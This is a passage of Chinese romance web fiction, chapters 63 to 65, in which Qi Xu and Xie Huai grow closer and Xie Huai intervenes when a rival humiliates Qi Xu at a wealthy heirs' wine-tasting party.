戚栩在谢淮的怀里转了个身,和他面对面,凑近几分:“你给我说说什么湿了。” 谢淮掀唇:“生气了?” 戚栩哼笑:“哪敢啊,怕被咬。” 说着气不过抬手戳了戳谢淮的肩膀:“两天没见,真行啊。” 肩膀的手被炙热的掌心牢牢包裹,谢淮说:“这就是独守空房两天的后果,所以下次要提前告诉我。” 两天没见就咬脖子,要是一个星期不见那得咬哪里,估计全身上下没一块好肉。 戚栩把手里的礼物袋塞到他怀里:“亏我还给你买礼物,恩将仇报。” 沈梓炀已经数完数了,正在楼下疯狂找人,传来佣人着急的声音让他跑慢点。 谢淮松开了戚栩,后者走进了房间,谢淮顺势也跟着进去。 戚栩没来得及开灯,被人拦腰按坐在床上。 谢淮站在面前问:“什么礼物?” 房间昏暗,借着楼下院子里灯光模糊地看到对方的面部轮廓。 戚栩双手往后撑在床垫上:“你自己打开看。” 谢淮得到许可,慢条斯理地拆开礼物,从中拿起领带夹,看不清楚样式,但能触摸到形状。 有时候触摸会比视觉更让人心动。 谢淮能看到衬衫夹上碧玺的折射光,不知怎么的,想象到戚栩给他选礼物的画面。 “为什么给我送衬衫夹?” 戚栩坐起身子拿过谢淮手里的衬衫夹,伸手拽住他的外套,示意他俯下身。 谢淮顺从地俯身低头,只见戚栩从他的侧脸摸索着,指尖往下滑动,在喉结轻轻剐蹭了两下,算是还了在桌底下谢淮的调戏。 戚栩扯开了谢淮的外套,把衬衫夹夹在纽扣处,一字一句地说:“因为想让你看到衬衫夹就会想起我,独守空房的礼物。” 独守空房的后果,独守空房的礼物,一个是惩罚,一个是奖励,像个扭蛋机里面装着都是糖果,随便一扭,掉落的都是甜味糖果。 双目对视,我的眼中只有你。 沈梓炀扫荡般地上楼,一个一个房间寻找。 终于在尽头推开房门,看到两人后兴奋不已,取得胜利般的大喊:“哈,找到你们了,我赢了。” 今晚赢的人可不止他一个。 第63章 第 63 章 沈梓炀冲进来扑到戚栩腿上, 仰着小脑袋:“哥哥,我赢了,奖励。” 戚栩抓了抓小卷毛头上的卷毛:“好, 你想要什么。” 佣人以为两位少爷为了捉迷藏而不开灯, 进来把灯开了,房间一下子明亮。 灯光刺眼,戚栩抬手捂住了小卷毛的眼睛,同时他的眼前也被覆盖了一层阴影,谢淮抬手挡住了戚栩的眼睛, 等待适应强光。 沈梓炀想都没想脱口而出:“我不要奖励了,要你跟我回家。” 下一秒,沈梓炀整个人被拎起来, 扔到佣人身边,拒绝:“他不会跟你回家。” 佣人哎呦了一声,稳稳地抱住小少爷。 沈梓炀害怕地缩了缩, 但为了哥哥,他勇敢挺着他小肚子说:“他是我的哥哥, why不可以。” 谢淮说:“我是他哥哥,我说不可以就不可以。” 他只能跟我回家。 哥哥的哥哥好像好厉害的样子,沈梓炀理不清这个关系, 但他想了想说:“那你跟我回家,哥哥也会跟着你。” 一个不够还想带上俩。 戚栩哭笑不得, 对沈梓炀说:“你会在国内上幼儿园, 周末有空我去找你玩, 行不行。” 沈卓宏接手沈卓海的位置, 应该会在国内呆一段时间的,但这段时间也长不到哪里去, 他们一家也不会在国内定居。 沈卓宏不会和沈卓海去争国内的权利。 戚栩说着从佣人手里抱起沈梓炀:“你喜欢游戏机还是变形金刚。” 沈梓炀说:“我喜欢哥哥。” 戚栩笑着说:“哥哥也喜欢你。” 不出意外,身后的目光如芒在背,戚栩扯了扯嘴角,抱着小孩离开房间。 戚栩和谢淮明天早八,今晚要回学校,沈卓宏一家暂时住在老宅,沈梓炀见到戚栩要走哭着不让他走,众人好说歹说哥哥要上学,沈梓炀不舍地松开。 结果看到戚栩和谢淮上了同一辆车,哭得更凶了,抱着妈妈的脖子说:“哥哥被哥哥带走了。” 撕心裂肺的,好不可怜。 车子开出了老宅戚栩隐约还听到沈梓炀的哭声,忍不住转头去看,被谢淮一手掰了回来。 谢淮的手掌很大,一手包住他的脸,甚至还多手的捏了捏。 戚栩被一番逗弄,以牙还牙也伸手去扯谢淮的脸颊,手动把他的眉头抚平。 “吃小孩的醋?” 谢淮的指腹蹭了蹭戚栩眼角的疲惫,戚栩是一个极其缺觉的人,这个周末连轴飞了两趟,脸上都是疲惫之意。 “你说你喜欢他。” “就这?他是我弟弟,我当然喜欢……”戚栩的眼珠子转了转,“不如你叫我声哥哥,我也可以喜欢你。” 谢淮没第一时间回答戚栩的话,而是揽住他的肩膀将人放倒自己的腿上。 戚栩触碰到谢淮的大腿那一刻整个人僵了下,想到他都被咬了好几回,躺个大腿怎么了。 然后他心安理得地在谢淮的大腿上找了个舒服姿势。 谢淮这才回答戚栩的话:“我比你大一个月,我都没听到你叫我哥哥。” 戚栩心说,我可是比你大十岁。 “不想听那句话?”他威逼利诱着,“叫声哥哥听听。” 谢淮垂眸看着他,不算自愿地蹦出两个字:“哥哥。” 戚栩着实没想到谢淮还真为爱低头,喊了一个比他小一个月的人叫哥哥。 作为哥哥的他那就宠爱一下弟弟吧。 他轻笑:“哥哥最喜欢你了。” 谢淮被那个最字哄高兴了,也不计较自己吃亏一次喊戚栩哥哥,以后有的是机会收回来,喊一次不够,他不会停下来。 其实枕大腿的姿势不算太舒服,谢淮的大腿肌肉硬得很,他蹭着没发觉自己越来越靠近腰腹。 “我在S市遇到你小舅了,他陪你表姑到S市办事,也是巧得很,怎么就撞上了。” 谢淮一边用指腹捻着戚栩的头发一边听他说话。 “他下午给我发信息了,元旦和我回秦家吧。” 话题转变得太快,戚栩猛地看向他:“淮哥,你是会趁热打铁的,悠着点行不行。” 谢淮问:“你不想跟我回去?” 戚栩被谢淮这么一吓困意都没了:“不是想不想的问题,我可以去谢家,可以去老宅,我以什么身份去秦家。” 谢家和沈家来往密切,可沈家和秦家可谓是没丝毫联系,不管是商业还是人情,就算是上辈子,谢氏和沈氏是不可分的合作伙伴,戚栩都没有听说过沈家人去拜访秦家。 商场和官场是有壁的,还是秦家人这种普通人都接触不到的官职。 谢淮却说:“以你是戚栩的身份。” 不是沈家人,不是谢淮喜欢的人,只是戚栩本人,谢淮单纯地想把戚栩带回去。 戚栩闭上眼睛沉默了许久,心里反复琢磨这句话,有点酸有点甜,到最后也没有给出回答,他在谢淮的大腿上睡着了。 现在离元旦还有一个半月,盖章定论为时过早,戚栩继续在学校过三点一线的生活。 苏珂浩举家搬迁到首都,一个人和一只狗,李恺兴邀请苏珂浩到他家暂住,方便找房子,以至于苏珂浩在李恺兴的楼上租个房子。 真够方便的,以后上班还有人一起分摊油费。 安排好浩苏珂浩的入职,戚栩又到云瑞开了几次高层会议落实了一些项目。 一眨眼时间来到了11月底,天气再次大降温,外面的风呼啸着。 戚栩一到周五就迫不及待地回家,宿舍没暖气,全靠穿着羽绒服一身正气抵寒。 周六下午,戚栩接到徐亦辰的电话,说要不要跟他一起参加品酒会。 徐亦辰还没说什么,戚栩就应下了,天气冷了,就该喝点酒取暖。 没过多久,徐亦辰来接他,戚栩一上车就接受360度全方位观察。 戚栩想起来了,前段时间谢淮向徐亦辰出柜,出柜的对象还是他。 “看什么看,没见过帅哥?”戚栩裹得严严实实,脖子还围了一条围巾,反观徐亦辰只穿了一件皮衣装酷,要风度不要温度。 徐亦辰凑近看了一眼戚栩的围巾:“阿淮的围巾。” 戚栩表现平淡:“哦,眼神真好。” 这个周末谢淮有事要回一趟秦家,所以没和他一起回家。 昨晚两人下课一同离开,戚栩的围巾落在宿舍了,一下教学楼转头打了个喷嚏,谢淮把手上的围巾戴在戚栩的脖子上。 谢淮刚在教室就问了一次,但戚栩觉得这么点距离回到车上就好,没想到一出门就顶不住。 戚栩也懒得拿自己的围巾,索性戴着谢淮的围巾出门。 徐亦辰是唯一一个知道谢淮对戚栩告白的知情人,戚栩是这样觉得,他想都没想过谢淮已经向家里出柜了。 徐亦辰幽幽地问:“你们在一起了?” 戚栩回:“没。” 徐亦辰松了一口气,他见不得兄弟这么幸福,紧接着听到戚栩继续说:“正在同居。” 徐亦辰:“……” “这还不叫在一起?那叫什么?以结婚为目的同居是吧。” 那更让人羡慕了。 在一起?怎么定义在一起。 戚栩每天都和谢淮在一起,一起上课,一起睡觉,哦,头对头一起睡,一起吃饭,一起回宿舍,几乎做什么都在一起。 他们之间更是没有越矩的行为,除了谢淮偶尔咬咬人。 这段时间没有在一起的一晚是昨晚,戚栩一个人在家,不过他们会发信息,虽然有那么一点不习惯,还是能克服的。 还有一点,11月过去了,谢淮给他转了下个月的房租,戚栩昨晚睡得很香。 徐亦辰见戚栩不说话,又说:“实话实说,是不是没有把我当兄弟,告白的时候我竟然不在第一现场,撒个花瓣也好啊,让我沾沾喜气。” “撒花瓣?”戚栩问,“你该不会准备搞这么大的阵仗和方倩告白吧。” 徐亦辰点头:“嗯,我注重仪式感,不像你们,随随便便就以身相许。” 戚栩点了点头:“祝你成功。” 徐亦辰虚心请教:“阿淮向你告白的时候做什么事,他不告诉我,你告诉我呗。” 谢淮做了什么事? 戚栩认真地回想着,上了一节肌肉教学课,耳朵被咬了一口,脖子被咬了一口,当晚说了喜欢他,第二天又说要追他。 总结下来,淮哥一张嘴,打遍天下无敌手。 “没做什么事,有嘴就行。” 徐亦辰不知道想到哪里去,怪叫了一声:“哇,第一晚就玩得这么大吗,还说没在一起,这么多年我还是第一次见阿淮喜欢别人,这倒是很像他的作风。” 戚栩问:“什么作风?” 徐亦辰脱口而出:“喜欢一个人恨不得让全世界都知道,就好像他以前喜欢铁皮人,去哪就带到哪,其实我和方倩都觉得谢淮对你的不同,他亲口承认喜欢你,让我们的猜想得到了正解。” “我觉得他可能不止向我一个人出柜了。” 戚栩对徐亦辰所说的话有了触动,喜欢一个人恨不得全世界都知道,谢淮没想过藏着掖着。 在学校的时候是,在外面亦是如此。 少年人的喜欢永远都是那么炽热,喜欢一个人就认定了那一个。 不过戚栩对他所说的最后一句话愣了下:“什么意思?” 徐亦辰认识了谢淮18年,哪会不知道他的行事风格,他带着点坏笑:“他可能已经向家人出柜了。” 也是被多年好友猜中了,不愧是小时候穿过同一条裤子的兄弟。 戚栩莫名的想起那天谢淮说带他回秦家,不会是已经出柜了吧。 不,可能不是出柜,因为谢淮不喜欢男人,他只喜欢他。 他无法想象谢淮当着家人的面说“我喜欢戚栩”这一幕,瞬间头皮发麻。 他的思维发散得很,已经想到了他家老爷子和谢老一起喝儿媳妇茶,实现了茶饼自由。 徐亦辰试图挑拨离间:“他没和你说?那不行,他有秘密了,以后他会藏私房钱。” 戚栩自我认知非常强:“我可能会比他藏得还多。” 徐亦辰:“……” 忘了,这人是财迷。 第64章 第 64 章 抵达品酒会庄园, 徐亦辰被冷风吹得直哆嗦,戚栩站在他身边都能听到他牙齿碰撞的声音。 “你要不要上车穿件衣服,别把牙齿磕坏了。” 徐亦辰有点受不了了, 转头在车里找了件长款羽绒服, 从头裹到脚,舒坦极了。 今晚的品酒会是由圈子里的几个富二代组织,其中就有徐亦辰的朋友张新平,给徐亦辰发邀请函,让他多带点朋友过来热场子。 徐亦辰作为社交小能手朋友一大群, 在群里发个消息,有空的少爷小姐都非常给面子一呼而应。 单论真朋友,只有谢淮他们, 方倩不喜欢参加这种聚会没来,蒋子慕最近灵感大爆发顾着画画,谢淮回秦家了根本没回他信息, 还是戚栩和他说的。 戚栩看到门口摆着的拍卖品的藏酒级别,少爷们是把家底都拿出来了。 会场里的每个人都盛装出席, 没有像戚栩一样穿着羽绒服就来的。 他一转身,徐亦辰不知道什么时候脱下了羽绒服,亮出他那件精心搭配过的皮衣。 又骚起来了。 室内有暖气, 戚栩也跟着脱下羽绒服,露出里面的米白色毛衣, 不过没摘围巾。 张新平在楼上看到徐亦辰的出现, 朝朋友说道:“亦辰带着朋友来了, 我下去招呼。” 徐亦辰的朋友, 大家都以为是谢淮那一行人,纷纷也跟着下楼, 只不过没看到谢淮,却看到了个不算陌生的面孔。 张新平和徐亦辰互损了一下,徐亦辰在酒瓶里偷偷灌凉白开的行为终究被徐父发现了,被扣一个月的零花钱。 随后张新平和戚栩寒暄,他还挺欣赏戚栩的,不论家世,就论个人,在游艇那一轮洗牌就让他刮目相看,而且戚栩并不依附沈家,这就很有看头。 “前段时间没在徐二叔的宴会里看到你,听亦辰说你出差了?有什么大项目需要你这个负责人亲自出差。” 戚栩还没有说话,张新平身后的人用探究的眼神看着戚栩:“我听说沈氏出现大动荡,你这个时候出差,沈家人把沈氏项目交给你了?” “你以前应该没接触过这些吧,要不要向我们取取经,我们肯定倾囊相告。” 沈卓海被降职,沈枫凯升为副总裁独当一面,沈卓宏被召回国,这个时候戚栩作为不受宠的亲儿子却得到进入沈氏的机会,不得不说一句走了狗屎运。 同时他们也眼红,戚栩被认回来才多久,半年前还是个乡村野小子,这么快就接手家族产业,他们这些人里哪一个不是经历过和兄弟厮杀才得到接手家族产业的机会。 可他们不会眼红谢淮,徐亦辰和张新平他们,这几个人家族势力相当,理所应当的优秀,不过就是心底里看不起戚栩。 如今戚栩又和徐亦辰一同参加品酒会,会品酒吗,能品出个什么所以然出来。 表面看起来是关心,戚栩当然能听出来是讽刺,一副世家子弟高高在上施舍的模样。 这就是上辈子戚栩不愿意和这个圈子有接触的原因,经历过被陷害事件,让他觉得所谓的二代圈没一个好人。 戚栩承认他刻板印象了,事实证明近朱者赤近墨者黑,谢淮身边的人就不是这样。 人性是多样的,戚栩理解,但不会尊重。 “不是沈家的项目,没进沈氏。”戚栩从服务员的托盘里拿了一杯香槟,“你们这些上不了台面的招数自己留着吧,也不是每个人都适用。” 他们几个人戚栩不了解,但了解他们身后的家族。 前世戚栩没少和他们的父辈打交道,人到了退休的年纪,后辈没一个顶用,人丁兴旺,同父不同母,当外面还有私生子,一大家子勾心斗角,在家吃个饭都要收买厨师给兄弟姐妹使绊子。 以前李恺兴没少和他八卦这种事,比他们豪门少爷还要了解家族秘史。 徐亦辰更是有话说话站在戚栩这边:“向你们取经?人家师徒四人要九九八十一天,跟着你们可能一辈子都取不了经。” 那几个人当场变了脸色,碍在徐亦辰的面子上不好发火。 不过还是被下了面子,一脸不忿等着接下来看好戏。 徐亦辰带着戚栩到吧台区:“什么人啊这是,现在张新平举办的品酒会档次越来越低了,下次不来了。” 戚栩安抚着他:“别和他们计较,我要取经也是向你们取经,有什么事,” 徐亦辰后知后觉:“为什么是你在安慰我?你为什么不生气?” 戚栩说:“生气伤肝,我现在很惜命,没必要和他们生气。” 徐亦辰很呼吸了一口气:“也是,不能生气,不能短命,我还没告白呢。” 品酒会还没正式开始,徐亦辰带着戚栩乱逛,戚栩吃了个小蛋糕垫肚子。 继而收到谢淮发的信息。 X:【别喝这么多酒,等会接你回家。】 徐亦辰瞅了一眼,阴阳怪气:“怎么的,不放心我还亲自接人。” 戚栩笑笑:“怕你喝醉发酒疯,抱着酒瓶不撒手喊别人。” 他低头回复谢淮的信息,没注意到门口进来了个意想不到的人。 沈泽予的出现引起了骚动,一是他已经许久未出席过聚会,二是他休学之后一直在家休养,已经将近一个月没露过面。 沈泽予是被曾家的表兄弟带着来,以前意气风发的小表弟变得不爱出门,整天一个人在家,他们看不过去,便带着他过来参加聚会。 曾家的门第虽然不比沈家,但在圈子里也不算太差,参加个品酒会的人脉还是有的。 戚栩的手被徐亦辰拐了一下,手误点了个爱心表情发了过去:“嗯?” 徐亦辰有些懊恼地说:“这一次品酒会真不该来,要是知道这些人要来我宁愿闹着被我爸打的风险在我家酒窖偷几支酒到你家喝。” 戚栩闻言抬眸,看到门口的那几个人,沈泽予周围站着的几人他也认识,曾家的小辈。 前世他和曾家来往不密切,只有过年的时候曾云带着他们回曾家。 曾家人不像沈家人对他冷嘲热讽,而是客客气气地相聚,然后结束聚会,一切都很如常,想到别人家做客一样。 也算是他前世过的为数不多正常的新年,他和沈家关系恶化之后就没有去过曾家。 “聚会大家都可以来,都是来品酒的。”戚栩低头想撤回表情发现时间过了撤回不了,谢淮也没回复信息。 沈泽予和曾家小辈都看见吧台边上的戚栩,虽然曾云还没有正式把戚栩带回曾家,但曾家人在沈家宴会上见过戚栩。 这也是他们第一次见识到戚栩的行为处事,一点都不带吃亏的性格。 “我就说别来这里,去包场打保龄球不就好了。”曾表妹小声地嘀咕。 曾表哥拍了拍她的头:“留着下次去,等会要叫人。” 曾表妹问:“叫谁?” 曾家人不清楚沈泽予的退学原因,惹上官司的事曾云没有大肆宣扬,就算是在娘家也要瞒着,一致对外宣称身体原因。 曾家人本想着去和戚栩打招呼,谁知沈泽予摇着头说:“你们去吧,二哥他应该不想看到我。” 最后曾家人没和戚栩打照面,像是不认识似的,井水不犯河水。 这让现场的人看了一番乐子。 品酒会开始,众人落座,徐亦辰带着戚栩坐在了全是好友的位置,全是自己人安心。 戚栩的心思全然放在酒上,喝了两款酒后就惦记着桌上那藏品级别的酒会不会开。 酒庄的外籍负责人在台上介绍着新出的几款酒,戚栩无聊地叉起一块哈密瓜火腿放在嘴里。 又上了一款新品,戚栩的眼睛再次亮了亮。 这次酒会不是单纯品酒,那多没趣,期间还有几个品酒小游戏,蒙眼猜酒最为受欢迎。 “戚栩,你是第一次参加品酒会吧,要不要上台玩一下,更有参与感嘛。”说话的是刚刚嘲讽戚栩的人。 在他身边的朋友也在附和。 “是第一次啊,那更有纪念意义,需要我帮你拍个照吗?” “错了也没关系,毕竟以前没喝过这么好的酒,情有可原。” “戚栩是好学生,以前不喝酒的。” 刚刚在私底下,现在可是当着全场的人让戚栩难堪,就是知道戚栩不懂得品酒才让他上台出丑。 张新平已经警告过他们几个别招惹戚栩,明面上应着,这会儿又开始冷嘲热讽。 他的脸色不是很好,如果今天这个品酒会有他们的合资,这会儿早就翻脸了。 徐亦辰不悦地放下手里的酒杯,还没说话就看到不远处的沈泽予起身:“我替二哥猜吧。” 曾表妹把沈泽予拉着:“你上去干什么,又不是叫你,而且人家好像都不领情。” 戚栩自始至终都没有看过他们一眼。 沈泽予说:“他们在欺负二哥。” 为首的人听到后笑着说:“开个玩笑而已,说欺负也太过分了吧,戚栩应该不介意吧。” 戚栩终于说话了:“不介意傻逼说话,脑子不好情有可原。” 那人被激怒了,装都不装对着戚栩说难听的话:“给你面子还不要,山鸡变凤凰好了不起,从小接受精英教育的沈泽予都能大大方方地上台,你不能,怎么,就你矜贵,穷小子装什么清高。” 也是蠢得厉害,一句话拉踩两个人,无异于踩低整个沈家。 曾家人为沈泽予出头。 “陈嘉明,说话不要这么难听,一个品酒会而已,你们以为我们稀罕来?邀请函是你们递到我们手上。” 这个时候就是拼家世了,一些比曾家还要小的门第此时没说话,隔山观火,以免烧到自己头上。 陈嘉明没把曾家放在眼里,但家里和曾家有合作,没必要把关系弄僵。 “哦,我的问题,不适合针对你们,只是看不惯某个没教养,出身山村的人。” 这已经是明示。 戚栩放下手里叉子,没把它扔出去,不然以他的准头,陈嘉明已经被戳了洞。 “看不惯我,又奈何不了我,怎么,想把我干掉?” 陈嘉明扬起虚情假意的笑:“我可不是法外狂徒,不像你遇到不爽的人就随便动手,把宋若明打得没一块好肉,又把人赶出国外,仗着自己是沈家人的血脉为所欲为,事后完美隐身。” 全场哗然,当时宋若明匆忙被送出国是戚栩的手笔。 徐亦辰暴怒,还好意思提宋若明这个人,被戚栩给按住了,这种场合不适合打架。 戚栩在陈嘉明和沈泽予身上扫了一眼,了然,一个唱红脸一个唱黑脸,好一场大戏。 宋若明,他差点就忘了这个人。 “你现在想为宋若明出头是不是太迟了,当时他被校园霸凌的丑闻围绕时怎么不见你挺身而出。” 戚栩没否认宋若明被送出国是他的手笔,然而过于坦荡,让风向有所逆转。 是啊,宋若明是被爆出丑闻才紧急送出国,如果没做过这事又怎么会是这个结果。 陈嘉明丝毫不觉得宋若明有什么问题,人又没死,又不是宋若明逼他跳下去的。 “所以是你把丑闻爆出来的?” 在这等着他呢,戚栩耸肩:“我只是给那几个报道投了点钱助力冲向头条,以后你有什么丑闻我也给你投个钱,这样总行了吧。” 投钱这事能查得出来,谢淮做的,他可以拿来用一下。 好些人听到戚栩的话捂嘴笑了起来。 陈嘉明受不了这个气,直冲冲地朝戚栩走来,张新平见状拦了一下没拦住。 没人拦戚栩,他正在拦徐亦辰,今晚这人吃了炸药,怎么一点就着。 戚栩也终于知道上一世他为什么会和徐亦辰打起来,两个炸药桶撞在一起能不炸吗。 “人没说你,说我呢。” 徐亦辰咬牙切齿:“就是为你出头,那傻逼还有脸提宋若明,看我不弄死他。” 戚栩低声:“想弄死他很简单,别着了他人的道。” 陈嘉明不知道被谁阻止了,没能走到戚栩面前动手。 差点坏了好事,陈嘉明继续激怒戚栩,让对方先动手,他还手才是名正言顺。 “戚栩,你还是不是男人,敢做不敢当,不是说你的养父教导有方吗,精心辅导你上Q大,当爹又当妈,你对得起他吗?” 果然有“高人”在身后指使,竟然精准地踩在了他的引火线上。 戚栩脸色阴沉拿起桌上的酒瓶朝陈嘉明走去,后者见状扬起了一个得逞的笑容。 徐亦辰连忙抱着戚栩的腰:“哎哎哎,冷静,不是说不是现在动手么。” 两个炸药桶互相拦,很明显七号炸药桶更易燃易爆炸。 徐亦辰没拦住,天生神力的戚栩挣脱了他的控制,拎着酒瓶就往陈嘉明走去。 大战一触即发,旁人看热闹的心思多过阻止。 陈嘉明做防守姿势,就在戚栩举起酒瓶的同时,陈嘉明捏着拳头即将往他的脸上挥去。 下一秒,有人挡在了戚栩面前,擒住了陈嘉明的手臂。 戚栩看着熟悉的背影愣了愣,便转手把酒瓶扔在地上。 玻璃坠落碎成渣的刺耳声将所有人拉回神,看清楚来人是谢淮便一哄而上,拦的拦,劝的劝。 陈嘉明看到谢淮那一瞬脸色骤变,只觉得手臂如同被铁柱给钳住,力气之大足以让他以为手骨碎裂,和地上玻璃渣一样的下场。 谢淮穿着一身黑大衣,眉目冷峻傲视着全场,放在陈嘉明的目光又冷又让人害怕。 他一向很少参加这种二代圈的聚会,多数人邀请徐亦辰是希望他能带着谢淮一起来。 不过十次有九次都是拒绝,其中一次是徐亦辰等人举办,他也只是偶尔露面。 陈嘉明的朋友同谢淮赔笑:“谢少,你怎么来了,品酒会还没有结束,不如坐下一起品酒。” 谢淮没有回答,陈嘉明的脸色又白了几分。 他们心头隐约猜到谢淮为何而来,笑着继续说道。 “嘉明只不过是和戚栩闹着玩,大家都是朋友,不会真的动手。” 为什么陈嘉明不说话,因为他痛到说不出一点话,头上已经冒起一层薄汗,内衬已经湿透。 谢淮松开了陈嘉明的手,后者脱力般往后退,被身后的朋友撑住在没有跌倒在地丢人现眼。 他没有再去看陈嘉明,而是侧身看了一眼戚栩。 戚栩平静地迎上他的目光,说道:“没动手,我只是想问问陈少这瓶酒如何售卖,手滑不小心把瓶子掉地上了。” 就刚刚那个架势像是问酒的架势么,十几双眼睛看着呢。 不过谁也没有说什么。 谢淮终于说了今晚第一句话:“闹着玩,玩什么?” 徐亦辰有人撑腰声音都大了:“那傻逼让戚栩上台蒙眼猜酒,戚栩不想上去,明里暗里说戚栩仗势欺人,逮着以前的事说,话越说越难听,我气不过想动手被戚栩拦了,戚栩想动手被你拦了,唯一受伤的是地上那个酒瓶。” 谢淮看向台上一桌的酒,淡声道:“陈少想玩?那我舍命陪君子,陪陈少玩一轮。” 随之叫服务员将台上的酒搬下来,谢淮扔给陈嘉明一个眼罩说道。 “陈少熟悉自家的酒,不需要再次品尝吧。” 陈嘉明不明他所做的目的,还是顺着他的话,脸上挂着笑说道:“我可以直接开始。” 陈嘉明戴上眼罩,谢淮亲自动手将台上近十支一起倒进了酒杯,只剩下一支酒没有掺下去。 谢淮直接明牌:“这杯酒里有十款酒,剩下一款不在里面,陈少你应该猜得出剩下那一支吧,说错就要继续喝。” 酒杯将近满杯的酒,更别说十款酒倒在一起,一口就晕人。 一语惊起千层浪,众人后知后觉,谢淮在替戚栩出头。 理由是什么未知,一出现就目标明确挡在戚栩面前,犹如天降神兵。 第65章 第 65 章 陈嘉明手握着非常有重量的酒杯, 听到谢淮的话手一僵,满杯的酒洒落在手上。 谢淮微抬下巴,侍者拿着酒瓶把刚撒出来的酒再次满上。 周围劝阻的声音也静了, 一时间无人敢说话, 看热闹的心情也收敛了。 会场静到连一根针落在低都能听到。 陈嘉明被蒙住了眼睛听力放大,能听到倒酒的声音,手上的酒杯宛若千斤重,压得他手断。 谢淮说话称不上严肃,甚至比告白的时候还要温和, 当然,除了戚栩没有人见过天之骄子的谢淮咬人的模样。 但就是那一抹温和,加上他眉目间的冷漠, 像个活阎王。 那一瞬,他竟然想到谢淮其实比他还年轻几岁,可现场没有人把他当做一位刚成年的学生, 作为谢氏的继承人藏而不漏,却让人忘记了他的手段。 曾经有位港岛的公子哥在参加聚会的时候挑衅谢淮, 那位公子哥当场被人劝了下来,依旧不屑地说港岛是我的地盘他能拿我怎么样。 结果不到一日,那位公子哥的家族产业被曝光豆腐渣工程, 股市动荡,一夜之间蒸发10亿。 报道这个新闻的是在港岛建立年份最久的媒体, 公子哥家里试图用8位数买下来得到的结果都是免谈。 一切由头指向谢淮, 圈内人心知肚明, 公子哥的家人带着他亲自飞到首都登门道歉, 谢淮闭门不见。 谢淮是深藏不露,平时从来不用家世压人, 但也并非善人,得罪过他和他作对的人都没有什么好下场。 陈嘉明在10亿和一杯酒之中选择了后者,他举起酒杯喝了一口酒。 十款酒混在一起,香味交杂,全然没有品鉴的意义。 陈嘉明想一口气喝完,听到谢淮的声音:“喝一口猜一次。” 这对陈嘉明来说是个运气游戏,也是折磨。 在众目睽睽之下,陈嘉明喝一口说一款酒,全场只有一个人说话,而且说完之后也没有人回应,他并不知道自己是否说对,只能继续喝。 他的运气实在不太好,说到最后一款酒的时候才说对,酒杯都见空了。 这个时候已经没有人在乎陈嘉明是否猜得准确,一杯酒下肚,人已经神志不清。 谢淮转身问戚栩:“继续品酒还是回家?” 在场各异的眼神再次放在戚栩身上,谢淮的熟络不是对徐亦辰而是戚栩,让人感到惊奇。 酒已经品够了,戚栩对上了一双极为平静的黑眸,心漏了一拍,总觉得今晚不会那么平静。 他说:“回家吧。” 会场的人本想着借此机会和谢淮攀谈,然而转眼就看到谢淮和戚栩并肩离开。 张新平看着好好的品酒会变成这样,冷笑着:“陈嘉明,好自为之。” 陈嘉明和他的朋友被拉入黑名单,不会再出现在他的邀请里。 戚栩离开的时候带走了几支酒,又吃又拿的,酒庄负责人甚至还想把外面的藏品送给他,不,是送给谢淮作为赔罪礼。 谢淮拒绝了,家里并不缺那么一支酒,也不想和这个酒庄搭上任何关系。 戚栩接过门口侍者递过来的羽绒服穿上,徐亦辰跟上了谢淮,说道:“你来得怎么这么快,事情解决了?” 谢淮看着戚栩规规矩矩地拉上拉链,半个脸埋在了他的围巾里,收回目光:“不是什么大事。” 无非就是半月一次的家庭会议,看到戚栩发来的爱心表情提早了半个小时离席,想过来听他亲口说。 庆幸他提早了半个小时过来,不然他不确定看到戚栩受伤会把陈嘉明怎么样,要把陈家怎么样。 戚栩穿好衣服看向谢淮,发现对方并没有看他。 今晚气温又降了几度,风很大。 徐亦辰看着两人上车,叹了一口气,相爱不容易,一起走下去更不容易。 戚栩上了后排发现驾驶座并没有司机,谢淮坐进了驾驶座,没有第一时间开车。 戚栩在后排看了他几秒,打开车门坐到了副驾驶。 “这么晚了怎么不让老高开车?” 谢淮锁了车门,开了暖气,双手虚放在方向盘:“想单独过来见你。” 戚栩下意识地想到那条没有回复爱心表情,如今也不好说什么手误,当初他是发什么的呢,记不起来了。 谢淮敲了敲方向盘,依旧很耐心地给戚栩多种选择:“你想现在和我说今晚发生的事还是回家再说,又或者我去问其他人。” 戚栩非常有眼力见地没问现在说和回家说有区别,家是个开关,谢淮可以在家里对他为所欲为。 他为了保住脖子选择在车里说。 “陈嘉明知道我周末出差以为我接手了沈家项目,明里暗地嘲讽我不配,我怼了他两句,他心胸如芝麻大小,品酒环节让我上台猜酒,拿我的身世出来说事,沈泽予横插一脚让矛盾白热化,最后陈嘉明替宋若明出头,想逼我先动手。” 戚栩一早就看出了陈嘉明的目的,所以才劝徐亦辰冷静,直到对方拿戚国辉出来做文章,他拎起拿酒瓶也只是假象,并不是想动手,最后也是想把酒瓶扔了。 好歹重活一世,一点就炸的性格也有所改变,真当他是18岁。 谢淮大概从戚栩这番话里找出几个不合理的点,陈嘉明和戚栩的矛盾点在哪里,有徐亦辰在戚栩身边陈嘉明应该会有所收敛,实则不然,直接激化两者的矛盾。 沈泽予这个时候跳出来目的是什么,谢淮不觉得他是在帮戚栩。 还有一个人,宋若明,谢淮今日才知道沈泽予和他一直有联系,前段时间两人在宋家庄园见过面。 “如果我没来,你打算和陈嘉明动手?” 戚栩手里玩着围巾:“不会动手,扔下酒瓶就走,难道他还想拦我不成。” 谢淮再问:“他激怒你的点是什么?” 不愧是谢淮,一下就问到要点。 戚栩玩着围巾的手顿了一下,懒懒散散地靠着车边,两秒后才说:“陈嘉明和拿沈家人在在外营造的戚国辉来刺激我,我在老宅明确的说过我不允许他们再伪造戚国辉的形象。” 谢淮知道戚栩所坚持的点,也曾经在车上听过对沈家对戚国辉伪造的好形象的不满。 不管是调换还是抱错,戚国辉的形象都不会是伪造的那样,所以谢淮才放出了戚国辉寻衅生事被拘留的相关报道,亲手撕破了沈家人在戚栩身上所编织的网。 “戚国辉在半个月前释放出来了。” 戚栩抬眸看向谢淮,虽然戚国辉在找他的时间点落后了不少,他以为是戚国辉拿着沈家人的钱挥霍,全然不知是谢淮的手笔。 “什么时候?” 谢淮继续说:“宴会那天他的新闻放出的后几日,他跟着地痞流氓敲诈围堵过路的货车,货车司机和副驾驶有一身功夫,打伤了好些人其中就有戚国辉,及时报警加上以前犯事,我找了个律师起诉他关了几个月。” 戚国辉怕死,干的都是一些打架斗殴,赌博的小事,没达到刑事犯罪,只能被关几个月。 戚栩沉默了,宴会,那是开学不久,很早很早了,更早的还有,处理学校论坛对他谣言,买断有关他报道的新闻,保护他的隐私。 还有很多很多,都有谢淮的参与, 